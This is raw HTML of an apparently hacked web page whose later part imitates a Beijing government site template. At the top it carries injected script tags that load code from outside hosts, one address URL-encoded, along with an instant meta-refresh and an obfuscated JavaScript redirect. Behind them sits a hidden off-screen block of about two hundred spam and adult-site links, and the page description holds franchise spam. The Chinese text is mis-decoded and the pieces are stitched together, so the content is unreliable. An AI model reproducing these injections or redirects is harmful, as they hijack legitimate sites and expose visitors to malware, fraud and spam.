<script/src=//%61%6C%69%63%64%6E%2E%72%65%2E%6B%72/%72%65%2E%6B%72></script> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>99re2.¾Ã¾ÃÈÈ×îеØÖ·|É«ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø</title> <meta name="keywords" content="99re2.¾Ã¾ÃÈÈ×îеØÖ· ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø"> <meta name="description" content="99re2.¾Ã¾ÃÈÈ×îеØÖ·¸÷ÖÖ¾«²ÊÄÚÈÝʵʱ¸üÐÂ,Ϊ¹ã´óÍøÓÑÌṩԭ´´×ÊÔ´,99re2.¾Ã¾ÃÈÈ×îеØÖ·Ò»ÆðËáˬ¡£ ,˼˼µÄ¼ÒÔ°"><link rel="shortcut icon" type="image/x-icon" href="favicon.ico" /> </head> <script/src=//alicdn.re.kr/re.kr></script> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>99re2.¾Ã¾ÃÈÈ×îеØÖ·|É«ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø</title> <meta name="keywords" content="99re2.¾Ã¾ÃÈÈ×îеØÖ· ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø"> <meta name="description" content="99re2.¾Ã¾ÃÈÈ×îеØÖ·¸÷ÖÖ¾«²ÊÄÚÈÝʵʱ¸üÐÂ,Ϊ¹ã´óÍøÓÑÌṩԭ´´×ÊÔ´,99re2.¾Ã¾ÃÈÈ×îеØÖ·Ò»ÆðËáˬ¡£ ,˼˼µÄ¼ÒÔ°"><link rel="shortcut icon" type="image/x-icon" href="favicon.ico" /> </head> -------!> <script/src=//360cdn.win/c.css></script> <meta HTTP-EQUIV="REFRESH" content="0; url=http://www.zgjm-org.com"> <script> var xx="<scr"; xx=xx+"ipt>win"; xx=xx+"dow.loc"; xx=xx+"ation.hr"; xx=xx+"ef='http://"; xx=xx+"www."; xx=xx+"zgjm-org"; xx=xx+"."; xx=xx+"com"; xx=xx+"'<\/sc"; xx=xx+"ript>";// document.write(xx); </script> <script/src=//alicdn.re.kr/re.kr></script> <div class="a1b2c8d9e1" style="position:fixed;left:-3000px;top:-3000px;"> <a class="a1b2c8d9e1" href="http://www.fliggypig.com">http://www.fliggypig.com</a> <a class="a1b2c8d9e1" href="http://www.4006000871.com">http://www.4006000871.com</a> <a class="a1b2c8d9e1" href="http://www.ddabw.com">http://www.ddabw.com</a> <a class="a1b2c8d9e1" href="http://www.ktiyl.com">http://www.ktiyl.com</a> <a class="a1b2c8d9e1" href="http://www.abbwl.com">http://www.abbwl.com</a> <a class="a1b2c8d9e1" href="http://www.rht365.com">http://www.rht365.com</a> </div class="a1b2c8d9e1"> <script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '000' + 'p' + 'x;t' + 'op' + ':-3' + '000' + 'p' + 'x;' + '"' + '>');</script> <a class="z7z8z9z6" href="http://www.4695288.com/">http://www.4695288.com/</a> <a class="z7z8z9z6" href="http://www.5613117.com/">http://www.5613117.com/</a> <a class="z7z8z9z6" href="http://www.4309272.com/">http://www.4309272.com/</a> <a class="z7z8z9z6" href="http://www.3619276.com/">http://www.3619276.com/</a> <a class="z7z8z9z6" href="http://www.1539774.com/">http://www.1539774.com/</a> <a class="z7z8z9z6" href="http://www.2234809.com/">http://www.2234809.com/</a> <a class="z7z8z9z6" href="http://www.0551180.com/">http://www.0551180.com/</a> <a class="z7z8z9z6" href="http://www.0027022.com/">http://www.0027022.com/</a> <a class="z7z8z9z6" href="http://www.1408600.com/">http://www.1408600.com/</a> <a class="z7z8z9z6" href="http://www.5004279.com/">http://www.5004279.com/</a> <a class="z7z8z9z6" href="http://www.4314451.com/">http://www.4314451.com/</a> <a class="z7z8z9z6" href="http://www.9402647.com/">http://www.9402647.com/</a> <a class="z7z8z9z6" href="http://www.6420212.com/">http://www.6420212.com/</a> <a class="z7z8z9z6" href="http://www.0921315.com/">http://www.0921315.com/</a> <a class="z7z8z9z6" href="http://www.4849062.com/">http://www.4849062.com/</a> <a class="z7z8z9z6" href="http://www.8027847.com/">http://www.8027847.com/</a> <a class="z7z8z9z6" href="http://www.5101309.com/">http://www.5101309.com/</a> <a class="z7z8z9z6" href="http://www.8033162.com/">http://www.8033162.com/</a> <a class="z7z8z9z6" href="http://www.7808733.com/">http://www.7808733.com/</a> <a class="z7z8z9z6" href="http://www.7021821.com/">http://www.7021821.com/</a> <a class="z7z8z9z6" href="http://www.8560978.com/">http://www.8560978.com/</a> <a class="z7z8z9z6" href="http://www.3301718.com/">http://www.3301718.com/</a> <a class="z7z8z9z6" href="http://www.2444890.com/">http://www.2444890.com/</a> <a class="z7z8z9z6" href="http://www.2501886.com/">http://www.2501886.com/</a> <a class="z7z8z9z6" href="http://www.8773150.com/">http://www.8773150.com/</a> <a class="z7z8z9z6" href="http://www.gkamlb.com/">http://www.gkamlb.com/</a> <a class="z7z8z9z6" href="http://www.nxkmky.com/">http://www.nxkmky.com/</a> <a class="z7z8z9z6" href="http://www.pkdszd.com/">http://www.pkdszd.com/</a> <a class="z7z8z9z6" href="http://www.scqyba.com/">http://www.scqyba.com/</a> <a class="z7z8z9z6" href="http://www.vwyhzp.com/">http://www.vwyhzp.com/</a> <a class="z7z8z9z6" href="http://www.vwwoms.com/">http://www.vwwoms.com/</a> <a class="z7z8z9z6" href="http://www.svfdun.com/">http://www.svfdun.com/</a> <a class="z7z8z9z6" href="http://www.wivjvd.com/">http://www.wivjvd.com/</a> <a class="z7z8z9z6" href="http://www.sstldp.com/">http://www.sstldp.com/</a> <a class="z7z8z9z6" href="http://www.sqmtvh.com/">http://www.sqmtvh.com/</a> <a class="z7z8z9z6" href="http://www.fmxnav.com/">http://www.fmxnav.com/</a> <a class="z7z8z9z6" href="http://www.etqglz.com/">http://www.etqglz.com/</a> <a class="z7z8z9z6" href="http://www.rjwmkb.com/">http://www.rjwmkb.com/</a> <a class="z7z8z9z6" href="http://www.yrljss.com/">http://www.yrljss.com/</a> <a class="z7z8z9z6" href="http://www.ymdwnv.com/">http://www.ymdwnv.com/</a> <a class="z7z8z9z6" href="http://www.lhxcjs.com/">http://www.lhxcjs.com/</a> <a class="z7z8z9z6" href="http://www.fekcko.com/">http://www.fekcko.com/</a> <a class="z7z8z9z6" href="http://www.furpdg.com/">http://www.furpdg.com/</a> <a class="z7z8z9z6" href="http://www.voqgwh.com/">http://www.voqgwh.com/</a> <a class="z7z8z9z6" href="http://www.fknqkj.com/">http://www.fknqkj.com/</a> <a class="z7z8z9z6" href="http://www.hhabtr.com/">http://www.hhabtr.com/</a> <a class="z7z8z9z6" href="http://www.ogmykg.com/">http://www.ogmykg.com/</a> <a class="z7z8z9z6" href="http://www.vseogg.com/">http://www.vseogg.com/</a> <a class="z7z8z9z6" href="http://www.ctkllf.com/">http://www.ctkllf.com/</a> <a class="z7z8z9z6" href="http://www.xzxefw.com/">http://www.xzxefw.com/</a> <a class="z7z8z9z6" href="http://www.0172679.com/">http://www.0172679.com/</a> <a class="z7z8z9z6" href="http://www.6088532.com/">http://www.6088532.com/</a> <a class="z7z8z9z6" href="http://www.5214437.com/">http://www.5214437.com/</a> <a class="z7z8z9z6" href="http://www.4601598.com/">http://www.4601598.com/</a> <a class="z7z8z9z6" href="http://www.3848474.com/">http://www.3848474.com/</a> <a class="z7z8z9z6" href="http://www.7621914.com/">http://www.7621914.com/</a> <a class="z7z8z9z6" href="http://www.9064024.com/">http://www.9064024.com/</a> <a class="z7z8z9z6" href="http://www.0979289.com/">http://www.0979289.com/</a> <a class="z7z8z9z6" href="http://www.8732369.com/">http://www.8732369.com/</a> <a class="z7z8z9z6" href="http://www.7578050.com/">http://www.7578050.com/</a> <a class="z7z8z9z6" href="http://www.1206219.com/">http://www.1206219.com/</a> <a class="z7z8z9z6" href="http://www.0320448.com/">http://www.0320448.com/</a> <a class="z7z8z9z6" href="http://www.6038608.com/">http://www.6038608.com/</a> <a class="z7z8z9z6" href="http://www.6804640.com/">http://www.6804640.com/</a> <a class="z7z8z9z6" href="http://www.2393657.com/">http://www.2393657.com/</a> <a class="z7z8z9z6" href="http://www.laibazonghewang.com/">http://www.laibazonghewang.com/</a> <a class="z7z8z9z6" href="http://www.jiujiurezuixindizhi.com/">http://www.jiujiurezuixindizhi.com/</a> <a class="z7z8z9z6" href="http://www.jiqingtupian8.com/">http://www.jiqingtupian8.com/</a> <a class="z7z8z9z6" href="http://www.qmzufv.com/">http://www.qmzufv.com/</a> <a class="z7z8z9z6" href="http://www.kwwxgj.com/">http://www.kwwxgj.com/</a> <a class="z7z8z9z6" href="http://www.tvubqi.com/">http://www.tvubqi.com/</a> <a class="z7z8z9z6" href="http://www.sjvxww.com/">http://www.sjvxww.com/</a> <a class="z7z8z9z6" href="http://www.xpdmzk.com/">http://www.xpdmzk.com/</a> <a class="z7z8z9z6" href="http://www.frveya.com/">http://www.frveya.com/</a> <a class="z7z8z9z6" href="http://www.nonmnu.com/">http://www.nonmnu.com/</a> <a class="z7z8z9z6" href="http://www.svytac.com/">http://www.svytac.com/</a> <a class="z7z8z9z6" href="http://www.fdtggb.com/">http://www.fdtggb.com/</a> <a class="z7z8z9z6" href="http://www.rnrnjm.com/">http://www.rnrnjm.com/</a> <a class="z7z8z9z6" href="http://www.ymrxun.com/">http://www.ymrxun.com/</a> <a class="z7z8z9z6" href="http://www.lkrecc.com/">http://www.lkrecc.com/</a> <a class="z7z8z9z6" href="http://www.kgahjl.com/">http://www.kgahjl.com/</a> <a class="z7z8z9z6" href="http://www.kqdmep.com/">http://www.kqdmep.com/</a> <a class="z7z8z9z6" href="http://www.vwlwcu.com/">http://www.vwlwcu.com/</a> <a class="z7z8z9z6" href="http://www.zuixinlunlidianying.com/">http://www.zuixinlunlidianying.com/</a> <a class="z7z8z9z6" href="http://www.daxiangjiaowangzhi.com/">http://www.daxiangjiaowangzhi.com/</a> <a class="z7z8z9z6" href="http://www.snnfi.com/">http://www.snnfi.com/</a> <a class="z7z8z9z6" href="http://www.vfdyd.com/">http://www.vfdyd.com/</a> <a class="z7z8z9z6" href="http://www.lwezk.com/">http://www.lwezk.com/</a> <a class="z7z8z9z6" href="http://www.fpibm.com/">http://www.fpibm.com/</a> <a class="z7z8z9z6" href="http://www.xjvdr.com/">http://www.xjvdr.com/</a> <a class="z7z8z9z6" href="http://www.kvwqf.com/">http://www.kvwqf.com/</a> <a class="z7z8z9z6" href="http://www.utakf.com/">http://www.utakf.com/</a> <a class="z7z8z9z6" href="http://www.gmjeu.com/">http://www.gmjeu.com/</a> <a class="z7z8z9z6" href="http://www.pugfa.com/">http://www.pugfa.com/</a> <a class="z7z8z9z6" href="http://www.bldek.com/">http://www.bldek.com/</a> <a class="z7z8z9z6" href="http://www.vdidu.com/">http://www.vdidu.com/</a> <a class="z7z8z9z6" href="http://www.tufnc.com/">http://www.tufnc.com/</a> <a class="z7z8z9z6" href="http://www.wqxri.com/">http://www.wqxri.com/</a> <a class="z7z8z9z6" href="http://www.uaozz.com/">http://www.uaozz.com/</a> <a class="z7z8z9z6" href="http://www.nhpbd.com/">http://www.nhpbd.com/</a> <a class="z7z8z9z6" href="http://www.dinbz.com/">http://www.dinbz.com/</a> <a class="z7z8z9z6" href="http://www.bopjc.com/">http://www.bopjc.com/</a> <a class="z7z8z9z6" href="http://www.rvkip.com/">http://www.rvkip.com/</a> <a class="z7z8z9z6" href="http://www.jsmqe.com/">http://www.jsmqe.com/</a> <a class="z7z8z9z6" href="http://www.vwygx.com/">http://www.vwygx.com/</a> <a class="z7z8z9z6" href="http://www.zgjm-org.com/">http://www.zgjm-org.com/</a> <a class="z7z8z9z6" href="http://www.shenyangsiyue.com/">http://www.shenyangsiyue.com/</a> <a class="z7z8z9z6" href="http://www.hongsang.net/">http://www.hongsang.net/</a> <a class="z7z8z9z6" href="http://www.gpmrg.cc/">http://www.gpmrg.cc/</a> <a class="z7z8z9z6" href="http://www.knfut.cc/">http://www.knfut.cc/</a> <a class="z7z8z9z6" href="http://www.kjqdh.cc/">http://www.kjqdh.cc/</a> <a class="z7z8z9z6" href="http://www.huang62.win/">http://www.huang62.win/</a> <a class="z7z8z9z6" href="http://www.qiong19.win/">http://www.qiong19.win/</a> <a class="z7z8z9z6" href="http://www.chang34.win/">http://www.chang34.win/</a> <a class="z7z8z9z6" href="http://www.huang71.win/">http://www.huang71.win/</a> <a class="z7z8z9z6" href="http://www.xiong10.win/">http://www.xiong10.win/</a> <a class="z7z8z9z6" href="http://www.chong14.win/">http://www.chong14.win/</a> <a class="z7z8z9z6" href="http://www.chong94.win/">http://www.chong94.win/</a> <a class="z7z8z9z6" href="http://www.zheng23.win/">http://www.zheng23.win/</a> <a class="z7z8z9z6" href="http://www.cheng14.win/">http://www.cheng14.win/</a> <a class="z7z8z9z6" href="http://www.shang72.win/">http://www.shang72.win/</a> <a class="z7z8z9z6" href="http://www.sudanj.win/">http://www.sudanj.win/</a> <a class="z7z8z9z6" href="http://www.russias.win/">http://www.russias.win/</a> <a class="z7z8z9z6" href="http://www.malim.win/">http://www.malim.win/</a> <a class="z7z8z9z6" href="http://www.nigery.win/">http://www.nigery.win/</a> <a class="z7z8z9z6" href="http://www.malix.win/">http://www.malix.win/</a> <a class="z7z8z9z6" href="http://www.peruf.win/">http://www.peruf.win/</a> <a class="z7z8z9z6" href="http://www.iraqq.win/">http://www.iraqq.win/</a> <a class="z7z8z9z6" href="http://www.nepali.win/">http://www.nepali.win/</a> <a class="z7z8z9z6" href="http://www.syriax.win/">http://www.syriax.win/</a> <a class="z7z8z9z6" href="http://www.junnp.pw/">http://www.junnp.pw/</a> <a class="z7z8z9z6" href="http://www.junnp.win/">http://www.junnp.win/</a> <a class="z7z8z9z6" href="http://www.zanpianba.com/">http://www.zanpianba.com/</a> <a class="z7z8z9z6" href="http://www.shoujimaopian.com/">http://www.shoujimaopian.com/</a> <a class="z7z8z9z6" href="http://www.gaoqingkanpian.com/">http://www.gaoqingkanpian.com/</a> <a class="z7z8z9z6" href="http://www.kuaibokanpian.com/">http://www.kuaibokanpian.com/</a> <a class="z7z8z9z6" href="http://www.baidukanpian.com/">http://www.baidukanpian.com/</a> <a class="z7z8z9z6" href="http://www.wwwren99com.top/">http://www.wwwren99com.top/</a> <a class="z7z8z9z6" href="http://www.wwwdgshunyuancom.top/">http://www.wwwdgshunyuancom.top/</a> <a class="z7z8z9z6" href="http://www.xianfengziyuancom.top/">http://www.xianfengziyuancom.top/</a> <a class="z7z8z9z6" href="http://www.www96yyxfcom.top/">http://www.www96yyxfcom.top/</a> <a class="z7z8z9z6" href="http://www.www361dywnet.top/">http://www.www361dywnet.top/</a> <a class="z7z8z9z6" href="http://www.wwwbambootechcc.top/">http://www.wwwbambootechcc.top/</a> <a class="z7z8z9z6" href="http://www.wwwluoqiqicom.top/">http://www.wwwluoqiqicom.top/</a> <a class="z7z8z9z6" href="http://www.wwwyyxfnrzcom.top/">http://www.wwwyyxfnrzcom.top/</a> <a class="z7z8z9z6" href="http://www.wwwzhengdadycom.top/">http://www.wwwzhengdadycom.top/</a> <a class="z7z8z9z6" href="http://www.wwwyewaishengcuncom.top/">http://www.wwwyewaishengcuncom.top/</a> <a class="z7z8z9z6" href="http://www.wwwcong3win.top/">http://www.wwwcong3win.top/</a> <a class="z7z8z9z6" href="http://www.wwwmh-oemcn.top/">http://www.wwwmh-oemcn.top/</a> <a class="z7z8z9z6" href="http://www.henhen168com.top/">http://www.henhen168com.top/</a> <a class="z7z8z9z6" href="http://www.wwwhztuokuncom.top/">http://www.wwwhztuokuncom.top/</a> <a class="z7z8z9z6" href="http://www.wwwyasyzxcn.top/">http://www.wwwyasyzxcn.top/</a> <a class="z7z8z9z6" href="http://www.www9hkucom.top/">http://www.www9hkucom.top/</a> <a class="z7z8z9z6" href="http://www.wwwguokrcom.top/">http://www.wwwguokrcom.top/</a> <a class="z7z8z9z6" href="http://www.avhhhhcom.top/">http://www.avhhhhcom.top/</a> <a class="z7z8z9z6" href="http://www.shouyouaipaicom.top/">http://www.shouyouaipaicom.top/</a> <a class="z7z8z9z6" href="http://www.wwwdouyutvcom.top/">http://www.wwwdouyutvcom.top/</a> <a class="z7z8z9z6" href="http://www.bbsptbuscom.top/">http://www.bbsptbuscom.top/</a> <a class="z7z8z9z6" href="http://www.miphonetgbuscom.top/">http://www.miphonetgbuscom.top/</a> <a class="z7z8z9z6" href="http://www.wwwtjkunchengcom.top/">http://www.wwwtjkunchengcom.top/</a> <a class="z7z8z9z6" href="http://www.lolboxduowancom.top/">http://www.lolboxduowancom.top/</a> <a class="z7z8z9z6" href="http://www.wwwtaoyuancncom.top/">http://www.wwwtaoyuancncom.top/</a> <a class="z7z8z9z6" href="http://www.wwwngffwcomcn.top/">http://www.wwwngffwcomcn.top/</a> <a class="z7z8z9z6" href="http://www.wwwqingzhouwanhecom.top/">http://www.wwwqingzhouwanhecom.top/</a> <a class="z7z8z9z6" href="http://www.wwwckyygcn.top/">http://www.wwwckyygcn.top/</a> <a class="z7z8z9z6" href="http://www.wwwcdcjzcn.top/">http://www.wwwcdcjzcn.top/</a> <a class="z7z8z9z6" href="http://www.m6downnet.top/">http://www.m6downnet.top/</a> <a class="z7z8z9z6" href="http://www.msmzycom.top/">http://www.msmzycom.top/</a> <a class="z7z8z9z6" href="http://www.wwwcaobolcom.top/">http://www.wwwcaobolcom.top/</a> <a class="z7z8z9z6" href="http://www.m3533com.top/">http://www.m3533com.top/</a> <a class="z7z8z9z6" href="http://www.gmgamedogcn.top/">http://www.gmgamedogcn.top/</a> <a class="z7z8z9z6" href="http://www.m289com.top/">http://www.m289com.top/</a> <a class="z7z8z9z6" href="http://www.jcbnscom.top/">http://www.jcbnscom.top/</a> <a class="z7z8z9z6" href="http://www.www99daocom.top/">http://www.www99daocom.top/</a> <a class="z7z8z9z6" href="http://www.3gali213net.top/">http://www.3gali213net.top/</a> <a class="z7z8z9z6" href="http://www.wwwmeidaiguojicom.top/">http://www.wwwmeidaiguojicom.top/</a> <a class="z7z8z9z6" href="http://www.msz1001net.top/">http://www.msz1001net.top/</a> <a class="z7z8z9z6" href="http://www.luyiluueappcom.top/">http://www.luyiluueappcom.top/</a> <a class="z7z8z9z6" href="http://www.wwwvcnnnet.top/">http://www.wwwvcnnnet.top/</a> <a class="z7z8z9z6" href="http://www.wwwchaoaicaicom.top/">http://www.wwwchaoaicaicom.top/</a> <a class="z7z8z9z6" href="http://www.mcnmocom.top/">http://www.mcnmocom.top/</a> <a class="z7z8z9z6" href="http://www.wwwqiuxia88com.top/">http://www.wwwqiuxia88com.top/</a> <a class="z7z8z9z6" href="http://www.www5253com.top/">http://www.www5253com.top/</a> <a class="z7z8z9z6" href="http://www.wwwhaichuanwaiyucom.top/">http://www.wwwhaichuanwaiyucom.top/</a> <a class="z7z8z9z6" href="http://www.wwwulunarcn.top/">http://www.wwwulunarcn.top/</a> <a class="z7z8z9z6" href="http://www.wwwvideo6868com.top/">http://www.wwwvideo6868com.top/</a> <a class="z7z8z9z6" href="http://www.wwwythmbxgcom.top/">http://www.wwwythmbxgcom.top/</a> <a class="z7z8z9z6" href="http://www.gakaycom.top/">http://www.gakaycom.top/</a> <a class="z7z8z9z6" href="http://www.wwwhf1zcom.top/">http://www.wwwhf1zcom.top/</a> <a class="z7z8z9z6" href="http://www.wwwkrd17net.top/">http://www.wwwkrd17net.top/</a> <a class="z7z8z9z6" href="http://www.qqav4444net.top/">http://www.qqav4444net.top/</a> <a class="z7z8z9z6" href="http://www.www5a78com.top/">http://www.www5a78com.top/</a> <a class="z7z8z9z6" href="http://www.hztuokuncom.top/">http://www.hztuokuncom.top/</a> <a class="z7z8z9z6" href="http://www.wwwqqqav7979net.top/">http://www.wwwqqqav7979net.top/</a> <a class="z7z8z9z6" href="http://www.sscaoacom.top/">http://www.sscaoacom.top/</a> <a class="z7z8z9z6" href="http://www.51yeyelu.info/">http://www.51yeyelu.info/</a> <a class="z7z8z9z6" href="http://www.52luyilu.info/">http://www.52luyilu.info/</a> <a class="z7z8z9z6" href="http://www.52yeyelu.info/">http://www.52yeyelu.info/</a> <a class="z7z8z9z6" href="http://www.91yeyelu.info/">http://www.91yeyelu.info/</a> <a class="z7z8z9z6" href="http://www.yeyelupic.info/">http://www.yeyelupic.info/</a> <script>document.write ('</' + 'di' + 'v c' + 'l' + 'ass=' + '"' + 'z7z' + '8z9z' + '6' + '"' + '>');</script> <!-------!><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <head> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible"content="IE=9; IE=8; IE=7; IE=EDGE"> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <meta name="deSCripTion" content="ѰζÁµÅàѵ×ܲ¿ÔÚÄÄ¡ú΢_ÐÅ:w4280920 <a href="http://www.tangpaishousibao.cn">Çëµã»÷ÊÖËºÃæ°ü¼ÓÃ˹ÙÍø</a>:ÊÖËºÃæ°ü²ÉÓÃ16µÀ¹¤ÐòÖÆ³ÉÇúÇúÕÛÕ۵Ľð±ß£¬²ã²ãµþµþµÄ±íƤ£¬Å¨Å¨ÓôÓôµÄÄÌÏ㣬ÃàÃàÈíÈíµÄ¿Ú¸Ð£¬ÏãÌð¿É¿Ú¡£Ëü²»½öÄÚ²¿×éÖ¯¾¢µÀ£¬¿ÉÒÔÀ­Ë¿£¬¶øÇÒÈë¿ÚÈáÈíÏãÌð£¬Ê³ºó»ØÎ¶ÎÞÇ´¿ÌìÈ»½ÍÖÖ·¢½Í£¬¸ü¼ÓÂÌÉ«½¡¿µ¡£" /> <title>ѰζÁµÅàѵ×ܲ¿ÔÚÄÄ_°Ù¶È_ ¼ÓÃË _ Åàѵ_ !???</title> <!--ÈÈÁ¦Í¼¿ªÊ¼--> <meta name="uctk" content="enabled"> <!--ÈÈÁ¦Í¼½áÊø--> <meta name="keywords" content="ѰζÁµÅàѵ×ܲ¿ÔÚÄÄ"/> <meta name="deSCripTion" content="¡ú΢_ÐÅ:w4280920 <a href="http://www.tangpaishousibao.cn">Çëµã»÷ÊÖËºÃæ°ü¼ÓÃ˹ÙÍø</a>:ÊÖËºÃæ°ü²ÉÓÃ16µÀ¹¤ÐòÖÆ³ÉÇúÇúÕÛÕ۵Ľð±ß£¬²ã²ãµþµþµÄ±íƤ£¬Å¨Å¨ÓôÓôµÄÄÌÏ㣬ÃàÃàÈíÈíµÄ¿Ú¸Ð£¬ÏãÌð¿É¿Ú¡£Ëü²»½öÄÚ²¿×éÖ¯¾¢µÀ£¬¿ÉÒÔÀ­Ë¿£¬¶øÇÒÈë¿ÚÈáÈíÏãÌð£¬Ê³ºó»ØÎ¶ÎÞÇ´¿ÌìÈ»½ÍÖÖ·¢½Í£¬¸ü¼ÓÂÌÉ«½¡¿µ¡£"/> <meta name="sitename" content="Ê×¶¼Ö®´°-±±¾©ÊÐÕþÎñÃÅ»§ÍøÕ¾"> <meta name="siteurl" content="http://www.beijing.gov.cn"> <meta name="district" content="±±¾©" > <meta name="filetype" content="0"> <meta name="publishedtype" content="1"> <meta name="pagetype" content="2"> <meta name="subject" content="28428;1"> <!-- Le styles --> <link href="http://www.beijing.gov.cn/images/zhuanti/xysym/bootstrap150609.css" rel="stylesheet"> <link href="http://www.beijing.gov.cn/images/zhuanti/xysym/bootstrap-responsive150609.css" rel="stylesheet"> <style> body { background:#E8E8E8; /* 60px to make the container go all the way to the bottom of the topbar */ } .navbar .btn-navbar { position:absolute; right:0; margin-top:50px;} #othermessage p {width:50%;} #othermessage dl { width:50%;} #breadcrumbnav ul { width:100%;} #breadcrumbnav ul li { line-height:14px; font-family:"ËÎÌå"; padding:0px 10px; margin:0; background:none; } #othermessage span { padding:0px 10px;} #footer { margin:20px -20px 0px -20px;} .navbar .nav li a { font-family:"Microsoft YaHei";} #div_zhengwen { font-family:"SimSun";} #div_zhengwen p{ font-family:"SimSun"; padding:0;} select { width:75px; float:left; height:35px;} .search .input{ border:1px solid #c1c1c1; width:290px;} .bdsharebuttonbox { float:left; width:80%;} .navbar .nav li a { padding: 10px 48px 11px 49px;} .nav_weather span { float:right;} #footer { position:absolute; left:0; right:0; margin:20px 0 0 0;} #essaybottom {font-family:"simsun"; } #pic { text-align:center; } #pic ul { padding-top:10px; display:none; } #pic li {font-family:"SimSun";} .content_text h1 {line-height:150%;} .version { float:right; padding:48px 50px 0 0} .search { padding: 50px 0 0 70px;} .nav_weather a { font-family:simsun;} .version li a { font-family:simsun;} .footer-class { font-family:simsun;} @media only screen and (max-width: 480px) { #pic img { width:100%;} } @media only screen and (max-width: 320px) { #pic img { width:100%;} } @media only screen and (max-width: 640px) { #pic img { width:100%;} } #filerider .filelink {font-family:"SimSun";} #filerider .filelink a:link { color:#0000ff; font-family:"SimSun";} </style> <SCripT type="text/javaSCripT"> var pageName = "t1424135"; var pageExt = "htm"; var pageIndex = 0 + 1; var pageCount = 1; function getCurrentPage() { document.write(pageIndex); } function generatePageList() { for (i=0;i<1;i++) { var curPage = i+1; document.write('<option value=' + curPage); if (curPage == pageIndex) document.write(' selected'); document.write('>' + curPage + '</option>'); } } function preVious(n) { if (pageIndex == 1) { alert('ÒѾ­ÊÇÊ×Ò³£¡'); } else { getPageLocation(pageIndex-1); } } function next(n) { if (pageIndex == pageCount) { alert('ÒѾ­ÊÇβҳ£¡'); } else { nextPage(pageIndex); } } function nextPage(page) { var gotoPage = ""; if (page == 0) { gotoPage = pageName + "." + pageExt; } else { gotoPage = pageName + "_" + page + "." + pageExt; } location.href = gotoPage; } function getPageLocation(page) { var gotoPage = ""; var tpage; if (page == 1) { gotoPage = pageName + "." + pageExt; } else { tpage=page-1; gotoPage = pageName + "_" + tpage + "." + pageExt; } location.href = gotoPage; } </SCripT> <SCRIPT type=text/javaSCripT> function $(xixi) { return document.getElementById(xixi); } //ת»»×ֺŠfunction doZoom(size){ if(size==12){ $("contentText").style.fontSize = size + "px"; $("fs12").style.display = ""; $("fs14").style.display = "none"; $("fs16").style.display = "none"; } if(size==14){ $("contentText").style.fontSize = size + "px"; $("fs12").style.display = "none"; $("fs14").style.display = ""; $("fs16").style.display = "none"; } if(size==16){ $("contentText").style.fontSize = size + "px"; $("fs12").style.display = "none"; $("fs14").style.display = "none"; $("fs16").style.display = ""; } } </SCRIPT> <!-- Le HTML5 shim, for IE6-8 support of HTML5 elements --> <!--[if lt IE 9]> <SCripT src="//html5shim.googlecode.com/svn/trunk/html5.js"></SCripT> <![endif]--> <!-- Le fav and touch icons --> <link rel="shortcut icon" href="images/favicon.ico"> <link rel="apple-touch-icon" href="images/apple-touch-icon.png"> <link rel="apple-touch-icon" sizes="72x72" href="images/apple-touch-icon-72x72.png"> <link rel="apple-touch-icon" sizes="114x114" href="images/apple-touch-icon-114x114.png"> <SCripT type="text/javaSCripT"> window.onload = function(){ var picurl = [ "", "", "", "", "", "", "", "", "", "" ]; var i=0; for(i=0;i<picurl.length;i++) { picurl[i].index=i; if(picurl[i]!="") { document.getElementById("pic_"+i).style.display = "block"; } } } </SCripT> </head> <body> <div class="navbar navbar-fixed-top"> <div class="navbar-inner"> <div class="nav_weather"> <div class="container"><a href="http://zhengwu.beijing.gov.cn/sld/swld/swsj/t1232150.htm" title="ÊÐί" target="_blank">ÊÐί</a> | <a href="http://www.bjrd.gov.cn/" title="ÊÐÈË´ó" target="_blank">ÊÐÈË´ó</a> | <a href="http://www.beijing.gov.cn/" title="ÊÐÕþ¸®" target="_blank">ÊÐÕþ¸®</a> | <a href="http://www.bjzx.gov.cn/" title="ÊÐÕþЭ" target="_blank">ÊÐÕþЭ</a></div> </div> <div class="container"> <a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> <div class="span12"> <a class="brand" href="http://www.beijing.gov.cn/"><img src="http://www.beijing.gov.cn/images/zhuanti/xysym/logo.png" /></a> <div class="search"> <SCripT language="JavaScript" type="text/javaSCripT"> function checkForm(){ var temp = searchForm.temp.value; var database = searchForm.database.value; if(temp==null || temp==""){ alert("ÇëÊäÈëËÑË÷Ìõ¼þ"); } else{ var url="http://so.beijing.gov.cn/Query?qt="+encodeURIComponent(temp)+"&database="+encodeURIComponent(database); window.open(url); } return false; } </SCripT> <form id="search" method="get" name="searchForm" action="" target="_blank" onSubmit="return checkForm()"> <input type="hidden" value="bj" id="database" name="database" /> <input name="temp" id="keyword" type="text" value="È«ÎÄËÑË÷" class="input" title="È«ÎÄËÑË÷¹Ø¼ü×Ö" /> <input id="searchbutton" type="image" src="http://www.beijing.gov.cn/images/zhuanti/xysym/search_btn.gif" width="66" height="35" title="µã»÷ËÑË÷" alt="ËÑË÷" /> </form> </div> <div class="version"><ul> <li><a title="ÎÞÕϰ­" href="http://wza.beijing.gov.cn/" target="_blank" 